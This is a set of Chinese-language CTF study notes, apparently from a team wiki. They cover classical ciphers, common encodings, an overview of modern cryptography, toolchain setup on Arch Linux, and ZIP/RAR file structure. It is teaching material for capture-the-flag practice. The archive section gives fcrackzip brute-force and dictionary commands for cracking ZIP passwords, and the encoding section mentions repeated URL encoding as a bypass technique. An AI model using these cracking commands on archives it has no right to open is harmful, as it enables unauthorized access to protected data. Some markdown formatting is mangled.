「猪圈密码 Pigpen cipher」 ,亦称 「共济会密码 Masonic cipher」 或 共济会员密码 Freemason's cipher」,是一种以格子为基础的简单 单表固定 替换密码。

圣堂武士密码 Templar

圣堂武士密码(Templar Cipher) 是共济会的猪圈密码的一个变种,一直被共济会圣殿骑士使用。

培根密码 Bacon

培根密码,又名 倍康尼密码(Bacon's cipher) 是由法兰西斯·培根发明的一种隐写术。

加密时,明文中的每个字母都会转换成一组五个英文字母。其转换依靠下表:

text
a   AAAAA   g     AABBA   n    ABBAA   t     BAABA
b   AAAAB   h     AABBB   o    ABBAB   u-v   BAABB
c   AAABA   i-j   ABAAA   p    ABBBA   w     BABAA
d   AAABB   k     ABAAB   q    ABBBB   x     BABAB
e   AABAA   l     ABABA   r    BAAAA   y     BABBA
f   AABAB   m     ABABB   s    BAAAB   z     BABBB

这只是一款最常用的加密表,有另外一款将每种字母配以不同的字母组予以转换,即I与J、U与V皆有不同编号。

凯撒密码 Caesar

凯撒密码(或称恺撒加密、恺撒变换、变换加密、位移加密)是一种 单表代换 替换加密,明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移后被替换成密文。例,当 偏移量 Key = 3 的时候,所有的字母A将被替换成D,B变成E,以此类推。

{ width="50%" }

维吉尼亚密码 Vigenère Cipher

维吉尼亚密码 是在单一恺撒密码的基础上扩展出 多表代换 替换加密,根据密钥(当密钥长度小于明文长度时可以循环使用)来决定用哪一行的密表来进行替换,以此来对抗字频统计。

{ width="50%" }

在一个凯撒密码中,字母表中的每一字母都会作一定的偏移,例如偏移量为3时,A就转换为了D、B转换为了E……而维吉尼亚密码则是由一些偏移量不同的凯撒密码组成。

为了生成密码,需要使用表格法。这一表格包括了26行字母表,每一行都由前一行向左偏移一位得到。具体使用哪一行字母表进行编译是基于密钥进行的,在过程中会不断地变换。

例如,假设明文为:

text
ATTACKATDAWN

选择某一关键词并重复而得到密钥,如关键词为LEMON时,密钥为:

text
LEMONLEMONLE

对于明文的第一个字母A,对应密钥的第一个字母L,于是使用表格中L行字母表进行加密,得到密文第一个字母L。类似地,明文第二个字母为T,在表格中使用对应的E行进行加密,得到密文第二个字母X。以此类推,可以得到:

text
明文:ATTACKATDAWN
密钥:LEMONLEMONLE
密文:LXFOPVEFRNHR

解密的过程则与加密相反。例如:根据密钥第一个字母L所对应的L行字母表,发现密文第一个字母L位于A列,因而明文第一个字母为A。密钥第二个字母E对应E行字母表,而密文第二个字母X位于此行T列,因而明文第二个字母为T。以此类推便可得到明文。

用数字0-25代替字母A-Z,维吉尼亚密码的加密文法可以写成同余的形式:
$$
\begin{align*}
C_i & \equiv (P_i + K_i) \mod 26 \
\end{align*}
$$
解密方法则能写成:
$$
\begin{align*}
P_i & \equiv (C_i - K_i) \mod 26
\end{align*}
$$

小结

许多古典密码可单单经由密文而破解,所以它们容易受到 「唯密文攻击法 ciphertext-only attack,COA 」 攻击。

有些古典密码(像是凯撒密码)的密钥个数有限,所以这类密码可以使用 暴力破解 尝试所有的密钥。

替代式密码有比较大的密钥数,但是容易被频率分析,因为每个密码字母各代表了一个明文字母。

多字母替代式密码,像是维吉尼亚密码使用多个替换防止了简单的频率分析,然而,更先进的技术卡西斯基试验就可用来破解这类密码。

古典密码的常见变换在上述介绍的几种常见密码中已经体现,所以其他类似变换的古典密码就不再赘述,总的来说,在算力和统计学的双双加持下,古典密码再也不能满足安全应用,同时在CTF中也不会作为核心考点出现,同编码一样,结合搜索引擎去解决对应问题即可,如果解决不了——题有问题。


Hc Crypto Encode (`docs/hc-crypto/Encode.md`)


comments: true


编码 / Encoding

简述

编码不同于密码,他的关键不是隐藏信息,而是处理信息,是信息的另一种表示形式,用于解决一些特殊字符、不可见字符的传输问题。

将原始信息变成编码信息的过程为 「编码 Encoding 」,反之,将编码信息转化回原始信息,转化的过程称之为 「解码 Decoding 」。

编码很少单独作为题目出现在CTF中,除开T0级别的签到题目,多数情况都贯穿CTF的各个方向,包括但不限于 杂项 和 密码学。

工具

编码是一个很庞大的家族,即使我们能记住每个编码的特征,但也无法做到颅内编译,所以使用工具来处理编码是极其必要的。

CyberChef

CyberChef 是CTF中最常用的编码解码工具之一,内含多种编码和解码方式。

{ width="80%" }

Ciphey

Ciphey is a Fully automated decryption/decoding/cracking tool using natural language processing & artificial intelligence, along with some common sense.

{ width="80%" }

随波逐流

[随波逐流]CTF编码工具 由随波逐流编写开发,CTF编码工具为用户提供丰富的离线符编码进行转换,加密解密功能。

{ width="80%" }

常见编码

{ width="80%" }

接下来我们使用经典的通信测试信息—— " Squdgy fez, blank jimp crwth vox " 来给大家简述一下一些常见的编码。

ASCII 编码

一种使用指定的 7 位或 8 位二进制数组合来表示 128 或 256 种可能的字符的编码方式。

Squdgy fez, blank jimp crwth vox

上面的ASCII表使用的「十进制 Decimal 」来表示对应的值,这也是我们通常使用的方法:

"Decimal" 来自拉丁词 "decimus",意为 "tenth"(第十)。在数学和日常生活中,我们使用的最常见的数字系统是十进制(decimal)数字系统。

当然,您也可以将其转换为其他进制表示:

Hex

「Hex Hexadecimal 」 意为 "十六进制",虽然十六进制经常用于与编码相关的上下文中,但它并不是一种编码,只是一种数值表示法。只不过在CTF中有时会以签到题目出现,比如:

text
666c61677b5371756467792066657a2c20626c616e6b206a696d7020637277746820766f787d

From Hex to String ,目前在赛题已经不再常见,而在此写出的目的也是为了提醒大家,良好的计算机基础,包括对各种进制的熟悉程度在CTF中也是相当重要。

Base家族

Base家族的编码方式提供了一种方法,将原始的二进制数据转换成一个更“友好”的、由特定字符集组成的字符串格式,比如base64、base32、base16可以分别编码转化8位字节为6位、5位、4位。16,32,64分别表示用多少个字符来编码。

以Base64为例:

编码过程:

  1. 将输入数据分割成长度为 3 的字节组。
  2. 将这三个字节转换为4个6位的组。这样做是通过将这三个字节(总共24位)重组为4个6位的数值。
  3. 使用这4个6位的数值作为索引,从BASE64字符集中选择对应的字符。
  4. 如果输入数据的字节长度不是3的倍数,就在输出的BASE64字符串后面加上一个或两个'='字符作为填充。
text
源文本:Go

G -> 01000111
o -> 01101111

得到8位binary:01000111 01101111

分组为6位binary:010001 110110 1111

补0:010001 110110 111100

对应十进制:17 54 60 (为数组下标)

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
-----------------↑------------------------------------↑-----↑---

010001 -> R
110110 -> 2
111100 -> 8

查表得:R28
补齐得:R28=

解码过程则是编码的逆过程:

  1. 把 Base64 字符串去掉等号,转为二进制数
  2. 从左到右,8 个位一组,多余位的扔掉,转为对应的 ASCII 码
text
密文: R28=
去掉=:R28
对应十进制(ASCII 码):    17     54     60 
还原位6位二进制 :       010001 110110 111100
重新分组为8位二进制:     01000111 01101111 00
8位二进制转换为对应ASCII码:  G        o     /(丢弃不完整部分)
得到原文:Go

其他Base编码过程同理,这里给出一些常见base的字符集和对应说明,读者可以自行尝试。

编码 字符集 备注
BASE2 01 二进制
BASE16 0123456789ABCDEF (或0123456789abcdef) 十六进制
BASE32 ABCDEFGHIJKLMNOPQRSTUVWXYZ234567
BASE32Hex 0123456789ABCDEFGHIJKLMNOPQRSTUV Base32的变体
BASE58 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz 注意,这个集合避免了容易混淆的字符,例如数字“0”和大写的字母“O”;主要用于比特币地址
BASE64 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
BASE64URL ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_ 适用于URL和文件名
BASE85 !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_abcdefghijklmnopqrstu 例如Adobe's ASCII85

URL编码

URL编码,也被称为百分号编码,是一种编码机制,用于将不安全或特殊的字符转换为%后跟其ASCII的十六进制表示,以确保URL的安全传输。

通常的url编码只会处理符号和不可见字符,比如 Squdgy fez, blank jimp crwth vox

会被编码为 Squdgy%20fez%2C%20blank%20jimp%20crwth%20vox (普通类型)

但在CTF中我们可能会将其编码为

%53%71%75%64%67%79%20%66%65%7a%2c%20%62%6c%61%6e%6b%20%6a%69%6d%70%20%63%72%77%74%68%20%76%6f%78 (复杂类型)

甚至出现多次Url编码的情况,当然这可能存在一些恶趣味,但是在渗透过程中,多次url编码确实是一种有效的Bypass手段。

其他编码

原文:Test@123 / 测试@123

  • Unicode编码

    text
    # 默认模式
    \u0054\u0065\u0073\u0074\u0040\u0031\u0032\u0033
    # 宽字符
    \u{54}\u{65}\u{73}\u{74}\u{40}\u{31}\u{32}\u{33}
    # 编码模式
    U+0054U+0065U+0073U+0074U+0040U+0031U+0032U+0033
    # HTML实体 十进制
    &#84;&#101;&#115;&#116;&#64;&#49;&#50;&#51;
    # CSS实体 十六进制
    \0054\0065\0073\0074\0040\0031\0032\0033
  • XXencode编码

    text
    6J4JnR2+lAXA+
  • UUencode编码

    text
    (5&5S=$`Q,C,`
  • Escape/Unescape编码

    text
    %u6d4b%u8bd5@123
  • Quoted-printable 编码

    text
    =E6=B5=8B=E8=AF=95@123
  • HTML实体编码

    text
    # HTML实体 10进制
    &#84;&#101;&#115;&#116;&#64;&#49;&#50;&#51;
    # HTML实体 16进制
    &#x0054;&#x0065;&#x0073;&#x0074;&#x0040;&#x0031;&#x0032;&#x0033;
  • shellcode编码

    text
    \x54\x65\x73\x74\x40\x31\x32\x33

莫尔斯电码

「 摩尔斯电码 Morse code 」也被称作摩斯密码,当然虽然有密码一词,但其并不属于加解密算法,而是一种经典的编码方式。

text
A  .-    N  -.    .  .-.-.-  +  .-.-.    1  .----
B  -...  O  ---   ,  --..--  _  ..--.-   2  ..---
C  -.-.  P  .--.  :  ---...  $  ...-..-  3  ...--
D  -..   Q  --.-  "  .-..-.  &  .-...    4  ....-
E  .     R  .-.   '  .----.  /  -..-.    5  .....
F  ..-.  S  ...   !  -.-.--              6  -....
G  --.   T  -     ?  ..--..              7  --...
H  ....  U  ..-   @  .--.-.              8  ---..
I  ..    V  ...-  -  -....-              9  ----.
J  .---  W  .--   ;  -.-.-.              0  -----
K  -.-   X  -..-  (  -.--.           
L  .-..  Y  -.--  )  -.--.-          
M  --    Z  --..  =  -...-

下面是一个示例:

原文 Squdgy fez, blank jimp crwth vox

编码后 ... --.- ..- -.. --. -.--:..-. . --.. --..--:-... .-.. .- -. -.-:.--- .. -- .--.:-.-. .-. .-- - ....:...- --- -..-

敲击码

「 敲击码 Tap code 」是一种以非常简单的方式对文本信息进行编码的方法。因该编码对信息通过使用一系列的点击声音来编码而命名.

敲击码是基于5×5 方格 波利比奥斯方阵 来实现的,不同点是用K字母被整合到C中。

敲击码表:

text
1  2  3  4  5
1 A  B C/K D  E
2 F  G  H  I  J
3 L  M  N  O  P
4 Q  R  S  T  U
5 V  W  X  Y  Z

小结

目前CTF中单独对编码的考察已经很少见了,更多的是与各个方向相结合,编码本身作为信息的另一种表示方式,或者说"载体",贯穿CTF或者安全领域乃至整个计算机领域才是它真正的归宿。

当然,各位也无需刻意的去记忆各种编码的特征,它不是密码,它诞生的意义本就是让人看懂,所以依靠搜索引擎就能够解决大部分问题,如果不能解决,那多半是题的问题。


Hc Crypto Moderncipher (`docs/hc-crypto/Moderncipher.md`)


comments: true


现代密码 / Modern cryptography

简述

现代密码(Modern cryptography) 通常可分成 对称密码(Symmetric cryptography)、非对称密码(Asymmetric cryptography) 与 散列函数(Hash function) 三类,实际应用中往往是多种机制组合使用。

与古典密码不同,现代密码学更多建立在数论、代数与计算复杂性理论之上。它所关注的不仅是“把消息藏起来”,还包括“消息有没有被改”“消息是不是由正确的人发出”“发送者是否可抵赖”等问题。

中文wiki-现代密码学

对称密码

对称密码是现代系统中最常用的一类密码体制。其特点是加密与解密使用同一把密钥,算法成熟,速度快,适合处理大量数据。

DES / 3DES

DES(Data Encryption Standard) 是历史上影响深远的分组密码,分组长度为64位,密钥有效长度为56位。由于密钥空间较小,DES在现代场景中已不再安全。

text
3DES(Triple DES) 通过多轮DES提升安全性,但其性能开销较大,在现代应用中也逐步被AES替代。

AES

AES(Advanced Encryption Standard) 是当前最常见的分组密码标准,分组长度固定为128位,常见密钥长度为128/192/256位。

AES在实际使用中通常需要配合工作模式,例如ECB、CBC、CTR、GCM等。需要注意的是,模式并非“附加细节”,而是安全性的核心组成部分:

  • ECB模式容易暴露明文结构,不建议用于安全场景
  • CBC模式需要随机IV,填充处理不当时可能出现Padding Oracle问题
  • CTR与GCM模式若重复使用nonce,风险非常高

SM4

SM4 是国产商用密码中的分组密码标准,分组长度与密钥长度均为128位。在国密相关生态与题目环境中,SM4较为常见。

流密码与 RC4

流密码按位或按字节生成密钥流,并与明文进行异或来得到密文。流密码的关键要求是同一密钥下不能重复使用同一个随机参数,否则会造成明文关系泄露。

RC4 是历史上非常经典的流密码算法。其核心流程可分为两部分:

  1. KSA(Key Scheduling Algorithm):根据密钥初始化状态数组
  2. PRGA(Pseudo-Random Generation Algorithm):持续生成伪随机密钥流并进行异或

RC4实现简单、速度快,曾在WEP与早期TLS中被广泛使用。但由于其输出存在统计偏差,且在弱密钥或密钥复用场景下风险突出,现代协议中通常已不再推荐使用。

在CTF中,RC4常见考察点包括密钥复用、初始字节偏差、已知明文恢复等问题。

非对称密码

非对称密码使用一对密钥:公钥公开,私钥保密。它主要解决“密钥分发”问题,并承担加密、签名与密钥交换等能力。

RSA

RSA 是最常见的非对称密码之一,其安全性依赖大整数分解困难问题。

设 n = p * q,公开指数为 e,私钥指数为 d,满足:

text
e * d ≡ 1 (mod φ(n))

其基本形式可写为:

$$
\begin{align*}
C &\equiv M^e \mod n \
M &\equiv C^d \mod n
\end{align*}
$$

RSA在CTF中的常见问题通常并非“算法被彻底破解”,而是参数和实现不当,例如小指数、弱素数、信息泄露、填充错误等。

椭圆曲线密码 ECC

ECC(Elliptic Curve Cryptography) 在相同安全级别下通常具有更短密钥与更高效率,因此在现代协议中应用广泛。

椭圆曲线在有限域上的常见形式可写为:

$$
\begin{align*}
y^2 \equiv x^3 + ax + b \pmod p
\end{align*}
$$

ECC的核心运算是点加法与标量乘法,其安全性依赖椭圆曲线离散对数问题难解。

ECC常见应用包括:

  • ECDH:椭圆曲线密钥交换
  • ECDSA:椭圆曲线数字签名
  • ECIES:基于椭圆曲线的加密方案

其中 ECDSA 对随机数 k 的质量要求非常高。若 k 重复或可预测,私钥可能被恢复,这是CTF中的高频考点。此外,若实现缺少点有效性验证,也可能引入额外攻击面。

Diffie-Hellman

Diffie-Hellman(DH) 用于在不安全信道中协商共享密钥。双方分别持有私密参数,通过交换公开参数后可计算出相同会话密钥。

其简化流程如下:

  1. 约定公开参数 p, g
  2. A选择私钥 a,发送 A = g^a mod p
  3. B选择私钥 b,发送 B = g^b mod p
  4. A计算 K = B^a mod p,B计算 K = A^b mod p
  5. 双方得到相同共享密钥 K = g^(ab) mod p

散列与消息认证

散列与认证机制本身不承担“可逆加密解密”,但在现代密码系统中同样属于基础能力。

哈希(散列)

日常交流中常说“哈希加密”,但更准确的说法是“哈希(散列)”。散列函数用于把任意长度输入映射为固定长度摘要,典型算法有 SHA-256、SHA-3、SM3。

散列函数通常强调单向性、抗碰撞性与雪崩效应。它常用于完整性校验、签名预处理、文件指纹与口令存储等场景。

需要注意:哈希不是可逆算法,不能“解密回原文”。另外,MD5与SHA-1已出现可行碰撞攻击,不适合继续用于安全场景。

MAC 与 HMAC

MAC(Message Authentication Code) 用于验证消息完整性与来源。

HMAC 是“密钥 + 哈希”的常见构造方式,常用于API签名、会话校验、协议消息认证等场景。

数字签名

数字签名用于证明“消息确实来自某个私钥持有者,且未被篡改”。常见签名算法有 RSA-PSS、ECDSA、EdDSA。

其与MAC的主要区别在于:签名可公开验证,并具备更强的不可否认性。

CTF中现代密码常见考察点

现代密码题通常不是单纯考记忆算法,而是考查“参数是否安全、实现是否正确、流程是否完整”。

常见问题包括:

  • IV/nonce重复导致信息泄露
  • 随机数质量不足导致私钥恢复
  • 填充模式与认证顺序处理错误
  • RC4等旧算法使用不当
  • RSA参数泄露或构造过弱
  • ECDSA随机数复用与曲线校验缺失
  • 哈希误用(长度扩展、弱哈希碰撞、口令散列策略错误)

小结

现代密码并非单一算法,而是一套组合体系:对称密码负责高效加密,非对称密码负责密钥协商与签名认证,散列与MAC负责完整性验证。

对CTF初学者而言,先建立整体框架,再回到具体算法与漏洞细节,是更稳妥的学习方式。多数现代密码题并不是“算法本身失效”,而是“实现和使用方式出现问题”。

引用


Hc Crypto Recap (`docs/hc-crypto/Recap.md`)


comments: true


前情提要

关于 编码,古典密码,现代密码

由于密码学的发展 以及CTF比赛的不断革新,编码和古典密码已经很少出现在密码学方向的题目中了,即使出现也会跟随现代密码学一同使用,更常见的反而是在「 杂项 MISC 」中作为签到题或者一般简单题目考察。

严谨起见,我们依据密码学的wiki词条来决定密码学需要书写的内容。

在密码学wiki中,对于密码学的描述在前面这样写道:

密码学(英语:Cryptography)可分为古典密码学和现代密码学。在西方语文中,密码学一词源于希腊语kryptós“隐藏的”,和gráphein“书写”。古典密码学主要关注资讯的保密书写和传递,以及与其相对应的破译方法。而现代密码学不只关注资讯保密问题,还同时涉及资讯完整性验证(消息验证码)、资讯发布的不可抵赖性(数码签名)、以及在分布式计算中产生的来源于内部和外部的攻击的所有信息安全问题。

—— 中文wiki-密码学

「古典密码学 Classic cryptography 」 和 「现代密码学 Modern cryptography 」 均属于密码学分支,只是重心发生了侧移,大家更加关心现代密码学相关使用和研究。

对 「编码 Encoding 」 的解释如下:

In cryptology, a code is a method used to encrypt a message that operates at the level of meaning; that is, words or phrases are converted into something else. A code might transform "change" into "CVGDK" or "cocktail lounge". The U.S. National Security Agency defined a code as "A substitution cryptosystem in which the plaintext elements are primarily words, phrases, or sentences, and the code equivalents (called "code groups") typically consist of letters or digits (or both) in otherwise meaningless combinations of identical length."[1]: Vol I, p. 12  A codebook is needed to encrypt, and decrypt the phrases or words.

—— 英文wiki-编码(密码学)

这里国内外存在一些差异,在中文wiki上这样写着:

编码:它意指以码字取代特定的明文。例如,以‘苹果派’(apple pie)替换‘拂晓攻击’(attack at dawn)。编码已经不再被使用在严谨的密码学,它在资讯论或通讯原理上有更明确的意义

虽然不再符合现代 严谨的密码学 的定义,但在广义的密码学上 「编码 Encoding 」 依旧被承认为密码学分支,同时编码在现代密码学信息承载上依旧有巨大作用,综合考虑,密码学会 一起更新 「编码 Encoding 」 , 「古典密码学 Classic cryptography 」 和 「现代密码学 Modern cryptography 」 的相关知识,如果MISC方向有需要会链接到此。

笔者认为,作为计算机领域信息传递最基本的一环,不论你是否选择密码学或者杂项,编码技术都值得你详细阅读和了解。

引用


Hc Crypto Env (`docs/hc-crypto/env.md`)

Crypto 环境配置

前言

善于百度, 哪里不懂先去百度, 其实搜索引擎上更推荐 Bing 或是 谷歌, 百度只是要求搜索解决的统一说辞, 还有疑惑则去读 提问的智慧, 如果依旧不理解, 可以用从 提问的智慧 中学到的提问方式来请教别人.

ida 和编辑器不做限定, 语言可以用 Python 入门(但需要任何一门编程语言的编程基础, 无基础请先在 b 站搜索 翁凯c 语言, 随后(如何界定随后呢, 接着往下看)学习黑马程序员 python 即可, 学习时间随个人接受程度, 翁凯 c 语言课程全集(总 129p)建议控制在 1 个月内掌握其中提到的各种用法, 学到函数后(这时便是上面提到的随后)即可开始同步学习 Python), 后续随个人爱好发展...

写这篇工具集合的时候越写越发现没什么是必须这里列出来的, 又容易写的很多, 所以推荐没有编程基础或编程基础薄弱的同学, 速速上此门课, 一周内学完会让你对计算机有个初步之上的认知 MIT 公开课

初步工具的安装

系统或发行版: Arch Linux

因其可以方便的安装比较新版本的 SageMath. 安装教程网上有(搜索时注意避开 CSDN 就会发现很多宝藏), 自己找, 并不难找

编译器和解释器: GCC, Python(Python3)

如果使用我上面提到的 Arch Linux, 那么安装这两个工具时需要先执行以下命令:

bash
# Arch 终端下执行此命令以更新软件包列表 和 更新可升级项
# sudo 提升权限, 注意: 输入密码的时候是不可见的, 输入完成回车即可
sudo pacman -Syu

bash
# Arch 终端下执行此命令以安装 gcc
sudo pacman -S gcc
bash
# Arch 终端下执行此命令以安装 Python3, Arch Linux 默认安装了 Python3,所以你可能不需要再次安装.
sudo pacman -S python

编辑器: VS Code

前期使用完全可以不安装 VS Code 下的插件, 当然也可以选择性安装简体中文插件和 clangd 以及 Python 插件套装, 其余插件没有是必须安装的, 请不要在配置编辑器方面消耗过多时间

同时前期编译和执行程序时均不建议直接使用编辑器或者 ide 自带的一键运行按钮, 本人更推荐直接在终端里进行操作, 下附简单操作, 也当做是对终端的初步熟练, 且此举的时间开销并不大

编译运行 `C/C++` 程序

↓ gcc 简单使用方式
仅仅是使用方式 你并不能原封地不改执行它, 如果发现进行文章上面提到的操作后还是无法执行, 则请你直接跳到下面最佳实践看, 其实就是加入可选选项(暂时无需了解), file 替换为你的文件名, 一般为 .c 或者 .cpp 结尾

bash
# 终端执行
gcc [options] file...

↓ 最佳实践
这里假设你的 c 源代码叫做 nihao.c, 执行这句代码后便会编译执行你想让其编译执行的源代码

bash
# 终端执行
gcc nihao.c && ./a.out

这里假设你的 cpp 源代码叫做 nihao.cpp, 执行这句代码后便会编译执行你想让其编译执行的源代码

bash
# 终端执行
gcc nihao.cpp && ./a.out

Ps: 不推荐新手用 CLion

尽管这是个非常好用的 ide, 然而因为新手不熟悉 CMake 而会耽搁进度, 不过个人觉得如果时间很宽泛的话无所谓, 均可, 但仍然建议有了编程基础后(这个基础如何界定呢? 至少在没有网络和 ai 以及各种学习毕竟和语言手册的情况下凭自身能解决 洛谷 入门等级大部分问题的时候, 这段话是可以划掉的, 毕竟洛谷容易让人误入竞技性编程歧途(暴论??))再去学习如何配置 CMake | 打不开大概率是网络问题, 这样会更有体系和轻松


运行 Python 源代码

↓ 最佳实践
这里假设你的 Python3 源代码叫做 nihao.py, 执行这句代码后便会执行你想要执行的源代码

bash
# 终端执行
python3 nihao.py

这时基本工具已经准备好(关于 Python 的数学模组不要着急 暂时用不到, 遇到了就学习如何手动完成所需要的函数), 可以开始在 buuCTF 刷题, 刷题时 密码分类中第一页差不多接近一般的时候就可以暂停刷题, 来先把时间用在初等数论的学习了, (时间不紧迫的同时有条件的话可以同时学数学分析)

如何使用 buuCTF? 点击←蓝色的字, 登录后顶部选择 练习场, 后选择 题目列表 即可

现在开始已经是环境配置之外的内容了, 来到

如何学习密码学

等到数论知识学到差不多(这里的差不多指的是)的时候为学完以下内容, 如何界定学会, 只要自己能给别人讲清楚这个知识点, 即可作为初步 学会 的标准:

  • 整除和带余除法
  • 同余的概念和性质
  • 同余类和剩余系
  • 欧几里得算法
  • 扩展欧几里得算法
  • 模运算
  • 素数的性质和判定
  • 费马定理
  • 欧拉定理
  • 中国剩余定理
  • 原根

↑这个知识列表引用自: 知乎文章: 初学者怎样学习密码学

自己看不出来是什么数学原理就搜 WP(Writeup, 含义为题解), 不过前提是自己已经思考过确认一段时间内思考不出来


有了一点点数论基础后

工具配置: 各种 `Python 模块` 和 `SageMath`

`Python 模块` 配置

首先配置 pip3

bash
# 更新软件包列表
sudo pacman -Syu
bash
# 安装 pip3, 用以管理 Python3 的模块
sudo pacman -S python-pip

下面有不知道是什么, 或者不知道怎么使用的模块, 打开 pypi 搜索即可

bash
# 安装 gmpy2
pip3 install gmpy2
bash
# 安装 python 进度条模块
pip install tqdm
bash
# 安装 libnum
pip install libnum
bash
# 安装维纳攻击模块
pip install owiener
bash
# 安装 pwntools, 来让密码学可以打远程服务器的题目
pip install pwntools
bash
# 安装 python - z3
pip3 install z3-solver

z3教程

`SageMath` 配置

SageMath 配置教程

SageMath 增强插件

为什么只甩了个网站呢, 因为这时候的你应该有自己搜集信息的能力了, 在未知领域探索也是能力, 会用工具也是能力

依旧建议将其配置到 Linux

  • Arch Linux
bash
sudo pacman -S sagemath

bash
给 notebook 下的 SageMath 加上打交互题的能力
%pip install pwntools

同时别的模块也是可以安装进来的, 只需要像👆🏻这条命令一样, 前面加个 % 即可, 被称为: 魔法命令

交互如果报错, 考虑使用 精简版 交互

配置完成啦!

这时推荐刷题网站: CryptoHack 做这个平台 Course 分类下的题目即可

不要为了做题而做题, 更重要的是自己的思考, 长时间自己无法解决一个问题的时候, 这时候可能是你没有学过的一个新知识点, 也有可能是单纯脑子没转(这种情况先去做别的题/事, 不要耗费时间)

by: LOV3


Hc Misc Archivefile (`docs/hc-misc/Archivefile.md`)


comments: true


压缩包

文件结构

.ZIP

一个 ZIP 文件由三个部分组成:

+ 压缩源文件数据区

{ width="85%" }
- local file header 由固定值 50 4B 03 04 即 .zip 文件的魔法数字作为开始。
- file data 记录相应压缩文件的数据
- data descriptor 数据描述符用于标识该文件压缩结束,该结构只有在相应的 local file header 中通用标记字段的第 3 bit 设为 1 时才会出现,紧接在压缩文件源数据后。
+ 压缩源文件目录区

{ width="85%" }
- Central directory 记录了压缩文件的目录信息,在这个数据区中每一条纪录对应在压缩源文件数据区中的一条数据。
+ 压缩源文件目录结束标志

{ width="85%" }
- End of central directory record(EOCD) 目录结束标识存在于整个归档包的结尾,用于标记压缩的目录数据的结束。每个压缩文件必须有且只有一个 EOCD 记录。

具体详细的结构可以参考下面 010Editor .zip 模板对照表.

??? note "010Editor .zip 模板对照表"
```
/* Detailed source-code truncated for AI context efficiency. */

text
### .RAR

一个 RAR 文件主要由以下部分组成:

**+ 标记块和压缩文件头块**



\- `RAR 文件头` 为 `0x 52 61 72 21 1A 07 00`,是RAR文件的魔法数字作为开始。

**+ 文件头块**



\- `File Header` 包含多个字段,如文件CRC、压缩方法、文件大小、文件名等等。

**+ 结尾块**



\- `Terminator` 是每个RAR文件的结尾块,其结构固定,主要用于标记RAR文件的结束。

## 爆破工具

爆破攻击是最简单,最直接的攻击方式,适合密码较为容易或已知密码范围 / 格式,包括字典爆破、掩码攻击等。

下面我们来介绍几种常见的爆破工具。

### ARCHPR



### Ziperello



### fcrackzip

**Usage**

USAGE: fcrackzip
[-b|--brute-force] use brute force algorithm
[-D|--dictionary] use a dictionary
[-B|--benchmark] execute a small benchmark
[-c|--charset characterset] use characters from charset
[-h|--help] show this message
[--version] show the version of this program
[-V|--validate] sanity-check the algorithm
[-v|--verbose] be more verbose
[-p|--init-password string] use string as initial password/file
[-l|--length min-max] check password with length min to max
[-u|--use-unzip] use unzip to weed out wrong passwords
[-m|--method num] use method number "num" (see below)
[-2|--modulo r/m] only calculcate 1/m of the password
file... the zipfiles to crack

text
**实例**

暴力破解 hello.zip ,密码为数字+大小写字母,长度为1-10

fcrackzip -b -c 'aA1' -l 1-10 -u hello.zip

text
暴力破解 ctf.zip ,密码为纯数字,长度为3

```bash
fcrackzip -b -c'1' -l 3 -u ctf.zip

用 rockyou.txt 作为字典爆破 flag.zip

text
fcrackzip  -D -p rockyou.txt -u flag.zip

ZIP相关攻击

先介绍一下关于ZIP的一些小知识点~

ZIP文件格式

一个常规的 ZIP 文件由三个部分组成:

压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志

压缩源文件数据区 (Local file header)

压缩源文件数据区主要记录了压缩前后文件的元数据并存放压缩后的文件,一条压缩文件数据记录对应数据区中的一个压缩文件记录,记录格式如下:

bash
1. 第0~3个字节:50 4B 03 04,代表了文件头标志, 对应文本 PK

 2. 第4~5个字节:14 00,代表了解压文件所需的pkware版本

 3. 第6~7个字节:00 00,代表了全局方式位标记(用来判断有没有加密)

 4. 第8~9个字节:08 00,代表了压缩方式, 比如这里的 0x0008 对应 Deflated

 5. 第10~11个字节:1D 9B,代表了最后修改文件的时间(MS-DOS 时间格式)

 6. 第12~13个字节:3D 56,代表了最后修改文件的日期(MS-DOS 时间格式)

 7. 第14~17个字节:5A 48 63 5C,是原始数据的crc-32校验值

 8. 第18~21个字节:77 00 00 00,是文件压缩后的大小

 9. 第22~25个字节:B1 00 00 00,是文件压缩前的大小

10. 第26~27个字节:10 00,代表文件名长度

11. 第28~29个字节:00 00,代表扩展记录长度

12. 接下来的若干个字节(变长):文件名与扩展字段(如果有)

压缩源文件目录区 (Central directory)

压缩源文件目录区是由一系列压缩源文件目录记录所组成,一条压缩文件目录记录对应 数据区 中的一个压缩文件记录,压缩源文件目录记录由以下部分构成:

bash
1. 第0~3个字节:50 4B 01 02,代表了目录文件头标记

 2. 第4~5个字节:02 3F,代表了压缩使用的pkware版本

 3. 第6~7个字节:14 00,代表了解压文件所需的pkware版本

 4. 第8~9个字节:00 00,代表了全局方式位标记(用来判断有没有加密)

 5. 第10~11个字节:08 00,代表了压缩方式

 6. 第12~13个字节:1D 9B,代表了最后修改文件的时间

 7. 第14~15个字节:3D 56,代表了最后修改文件的日期

 8. 第16~19个字节:5A 48 63 5C,是所对应压缩文件记录中原始数据的crc-32校验值

 9. 第20~23个字节:77 00 00 00,是文件压缩后的大小

10. 第24~27个字节:B1 00 00 00,是文件压缩前的大小

11. 第28~29个字节:10 00,代表文件名长度

12. 第30~31个字节:00 00,代表扩展字段长度

13. 第32~33个字节:00 00,代表文件注释长度(0字节,表示没有注释)

14. 第34~35个字节:00 00,代表磁盘开始号(0,表示文件不跨磁盘)

15. 第36~37个字节:00 00,代表内部文件属性

16. 第38~41个字节:20 00 00 00,代表外部文件属性

17. 第42~45个字节:00 00 00 00,代表局部头部偏移量

18. 接下来的若干个字节(变长),代表文件名

19. 之后的若干个字节(变长),代表扩展信息(可能存放着 ZIP64、NTFS 时间戳等)

20. 最后的若干个字节(变长),代表文件注释

压缩源文件目录结束标志 (End of Central Directory Record)

!!! Note "这里介绍的是标准版EOCD哦……"
这里介绍的版本是一般情况下的End of Central Directory Record,即里面的文件大小小于4GB,且文件数量少于65535个的情况。
